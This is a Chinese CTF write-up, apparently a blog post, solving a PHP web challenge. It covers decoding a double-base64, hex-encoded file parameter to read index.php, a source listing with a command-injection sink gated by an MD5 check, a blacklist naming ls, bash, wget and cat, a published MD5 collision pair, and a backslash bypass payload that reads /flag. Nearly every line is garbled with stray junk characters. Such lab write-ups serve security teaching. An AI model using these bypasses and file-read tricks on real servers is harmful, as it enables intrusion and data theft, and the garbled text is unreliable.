|
4 X f! x2 o2 Q5 e
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
7 ]) P" b( D4 z2 T- w<p> </p>+ ?& s1 M1 \6 R/ F# X
<p> </p>
+ g R. ]4 r; @9 J& V+ G C<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>
3 A4 w9 `4 H) ]: c* K6 K/ u<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
% f5 M0 x8 |/ L3 R! I. Q7 z' v<p> </p>% Y9 u# P4 Y6 b9 n3 _/ \
<p> </p>" R" x! S% C7 d7 \/ J0 ]
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
2 j6 c$ V% `2 P. B K9 M. V<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>, S/ m7 O4 ^+ c0 |
<p>首先把那个进行一次base64位解码</p>
1 R/ F. Z2 e. Q, |5 _. x<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
M# J" c& B; C: c; s& g<p> </p>! h: r4 t! d0 F) H0 r) O* o
<p> </p>
4 n, r3 @6 C9 |% L* e, ^) V<p> 解码一次以后还是很像base64编码,于是又解码一次</p>
' E0 A# C" R! c/ I<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
0 y' A2 C/ ^% n" V6 ]<p> </p>, \. R# G( ]. O5 R$ d" V3 n
<p> </p>
* \! a: |3 d' c5 _<p> 然后用hex解码一下得到了</p>$ j1 ]5 |& R/ I% T
<div class="cnblogs_Highlighter"> S0 d a- R! U% t6 F8 E! k2 Y
<pre class="brush:sql;gutter:true;">555.png, ^ _3 a9 t* M7 L
</pre>
1 E$ \6 B. P8 T( e$ c; M</div>6 c5 L% k' v/ |
<p> 用同样的方法把index.php进行加密</p> D1 Z2 ]6 }7 [: L* u9 S, N
<div class="cnblogs_Highlighter">
" ^0 t; J2 j( m$ v7 U5 p! }- c<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN34 a' g! K. H- N* I" |0 e
</pre>
! b) r0 t9 \- A; o! l" I2 }( K</div>% \+ |$ Z0 Q4 i. _7 G
<p> 然后输入到地址栏</p>2 a0 {4 I- x) j) z8 \' Z) G
<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>
, [7 Q+ C8 |5 Z, |5 O4 H9 x<div class="cnblogs_code">0 K, T3 w: ]% m. o
<pre><?<span style="color: rgba(0, 0, 0, 1)">php3 d) y8 D. A' B) B8 m
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
# X1 ?% }5 T) `0 M" g+ k1 @7 G4 Z+ `</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);7 s' p a3 ^ Z
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
3 \: F2 \6 d% @0 o9 x</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
) f; c+ w7 U6 [ </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);
7 g" p& j6 X" j- w) L9 v" Y9 L</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
q3 N) R, @; Q* Z1 u I$ D4 x5 H* z% d
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
' e5 T' q! h3 Y; I2 h5 z4 A</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
9 w- S) W+ [- e9 Q0 E </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;" e, [; l7 n: `) @3 p- a) G
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);; O% Z; |6 }7 b8 i, k
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {0 n3 |5 c7 j7 { Z. n, \& t; r5 j$ X3 U
</span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
$ }7 ?6 @" a. f1 E7 @4 S) U, T </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;" @& G; \' M$ D1 v
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
. Z! o) z$ n% m5 T3 ?1 M}
+ j- a9 X) [5 |</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;2 W9 v& u- _% |# m9 e6 ?7 e
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
* H- L i# A( J/ h# D</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {) ?( W! b% _% |0 A: T- q: g, v1 C
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);8 M. u5 l, A- e3 Y1 a3 x9 o: w
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
; ]5 V \8 N v, K} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
- q8 ^- W9 m2 w$ M$ h. e: d4 U </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
4 H# s+ O4 Q; {- z6 R, p; J/ Q </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;% i' H3 D8 t( \3 _3 w: V4 r
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {; h) X( {, B; E+ L4 q+ |
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
! Y( U& m( s8 T3 {: t( |* h5 Y }
! W6 ~. t/ H* i$ v b' D7 M& K}8 g/ ~6 N9 ]! z
" p$ Z% ?7 @( ~- `- Y</span>?>3 C5 R3 K. d- n3 j+ \4 B
<html>* n5 M% T$ T( T8 J% I) F4 Y) h) W
<style><span style="color: rgba(0, 0, 0, 1)">8 i; {) @% D y d" j
body{7 L: q# H" u3 S* L' M6 o* \9 G
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;9 j# ~3 F+ o( k z2 G% U
background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
! V& R; b0 m3 p* t) T, ? background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;) f% q x; D9 j2 ]* f) m
background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
, O: o$ O+ N: [$ l0 z* q x<span style="color: rgba(0, 0, 0, 1)">}+ [7 m& A* u R, Z& E7 m8 j
</span></style>
* S7 [7 B4 `$ [+ n o3 O<body>+ o: O6 z# \" b1 Z: p
</body>
' \8 K! g% | z, u) ]9 O</html></pre>, k# o% \7 h. a- m8 @) ]$ n2 M
</div>" V/ S+ w" m8 ]2 R ^; Y8 u: d" Z
<p>结合前面的推断,关键代码就在</p>
$ F' j9 |* W K7 K* e<div class="cnblogs_code">9 `8 a I5 m0 x7 R' @( X
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {0 {2 N& }8 S8 L
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
0 O3 }4 `' f+ N# ~( u1 x } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
/ ^. q( a0 d* ]$ s! F5 h2 f2 R </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);- k( B# P0 x5 i7 U1 V1 H a
}</span></pre>
) L% l* K! m' X$ H</div>
+ n" Z/ G! @% n3 [, Z" e- q<p>这种MD5是md5强碰撞</p>/ i3 `" H7 }( Z. P9 }& d/ o! v3 \
<div class="cnblogs_Highlighter">. O* T8 x" d- s7 K
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a25 Z; i+ i; t7 s) `
</pre>$ [; m7 M3 h3 v; I& B
</div>
3 k/ ]% S' r% y8 h8 k" \, e<div class="cnblogs_Highlighter">
. ~) f- J3 F8 `; b' w9 W<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
1 S4 O# G# z# Y/ q</pre>; @: B2 k0 h% ]$ T' ~- M% M
</div>, a! j2 U: |* c# |& L7 v
<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
2 \$ A* M2 v6 v% C( n% @2 a- f<p>于是采用payload:</p>; l/ k/ f* K6 u7 W* T' ~3 t
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>) m H5 C$ Y' O0 g/ o$ }
<p> </p>
6 }# `1 p. c: i+ d; f<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>3 W4 \8 s1 |( ^3 i0 f" e
<p>ls和l\s在命令执行的时候结果是一样的。</p>
6 t& H( {' t$ g3 s<p>然后发现根目录里面有/flag</p>" } L, o$ N4 { E! G
<p>于是payload:</p>& A# v4 R- @2 l( \% v. v
<div class="cnblogs_Highlighter">
: S+ X9 r4 O% W. Y, x<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
4 v1 |% P; K6 |6 V; M</pre>
3 }+ b# p/ m `& @</div>) p! O5 \, m. \8 B9 i
<p> 对于这个题目,因为他没有屏蔽sort和dir</p>
$ k8 A: m7 ^. t- F<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
8 b/ {5 V( } i% j! W4 \6 E0 v<p> </p>2 j. | m- B8 _/ J8 b$ T
|
|